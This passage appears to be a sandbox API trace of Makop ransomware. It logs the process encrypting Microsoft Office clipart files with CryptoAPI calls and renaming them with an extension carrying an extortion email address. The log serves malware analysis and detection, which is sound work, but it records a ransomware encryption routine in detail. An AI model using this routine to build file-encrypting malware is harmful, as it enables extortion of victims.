pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.071] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.071] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.071] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.072] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.072] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.072] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.072] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.072] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.072] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.073] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.073] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1cd8, lpOverlapped=0x0) returned 1 [0120.074] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ce0, dwBufLen=0x1ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ce0) returned 1 [0120.074] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.074] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ce0, lpOverlapped=0x0) returned 1 [0120.075] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.075] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.075] SetEndOfFile (hFile=0xf0) returned 1 [0120.082] GetProcessHeap () returned 0x48a0000 [0120.082] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.082] GetProcessHeap () returned 0x48a0000 [0120.082] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.082] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.082] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.083] CloseHandle (hObject=0xf0) returned 1 [0120.084] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x542c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105588.WMF", cAlternateFileName="")) returned 1 [0120.084] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0120.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.084] GetProcessHeap () returned 0x48a0000 [0120.085] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.085] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.085] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.085] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.089] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.089] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.089] GetProcessHeap () returned 0x48a0000 [0120.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.089] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.090] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.090] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.090] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.090] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.090] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.090] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.090] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.091] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.091] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.091] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.091] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x542c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x542c, lpOverlapped=0x0) returned 1 [0120.093] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5430, dwBufLen=0x5430 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5430) returned 1 [0120.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.093] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5430, lpOverlapped=0x0) returned 1 [0120.094] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.094] SetEndOfFile (hFile=0xf0) returned 1 [0120.101] GetProcessHeap () returned 0x48a0000 [0120.101] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.102] GetProcessHeap () returned 0x48a0000 [0120.102] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.102] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.103] CloseHandle (hObject=0xf0) returned 1 [0120.103] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105600.WMF", cAlternateFileName="")) returned 1 [0120.103] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0120.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.105] GetProcessHeap () returned 0x48a0000 [0120.106] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.106] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.106] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.110] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.110] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.110] GetProcessHeap () returned 0x48a0000 [0120.110] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.110] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.110] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.111] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.111] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.111] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.111] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.111] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.111] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.112] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.112] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.112] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x21e8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x21e8, lpOverlapped=0x0) returned 1 [0120.113] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21f0, dwBufLen=0x21f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21f0) returned 1 [0120.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.114] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x21f0, lpOverlapped=0x0) returned 1 [0120.114] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x22c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.114] SetEndOfFile (hFile=0xf0) returned 1 [0120.122] GetProcessHeap () returned 0x48a0000 [0120.122] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.122] GetProcessHeap () returned 0x48a0000 [0120.122] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.122] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.123] CloseHandle (hObject=0xf0) returned 1 [0120.123] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105638.WMF", cAlternateFileName="")) returned 1 [0120.123] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0120.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.124] GetProcessHeap () returned 0x48a0000 [0120.124] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.124] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.124] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.129] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.129] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.129] GetProcessHeap () returned 0x48a0000 [0120.129] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.129] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.129] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.129] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.129] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.129] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.129] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.130] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.130] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.130] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x287c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x287c, lpOverlapped=0x0) returned 1 [0120.132] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2880, dwBufLen=0x2880 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2880) returned 1 [0120.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.133] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2880, lpOverlapped=0x0) returned 1 [0120.133] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.133] SetEndOfFile (hFile=0xf0) returned 1 [0120.140] GetProcessHeap () returned 0x48a0000 [0120.140] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.140] GetProcessHeap () returned 0x48a0000 [0120.140] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.140] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.142] CloseHandle (hObject=0xf0) returned 1 [0120.142] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105710.WMF", cAlternateFileName="")) returned 1 [0120.142] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0120.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.143] GetProcessHeap () returned 0x48a0000 [0120.143] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.143] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.143] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 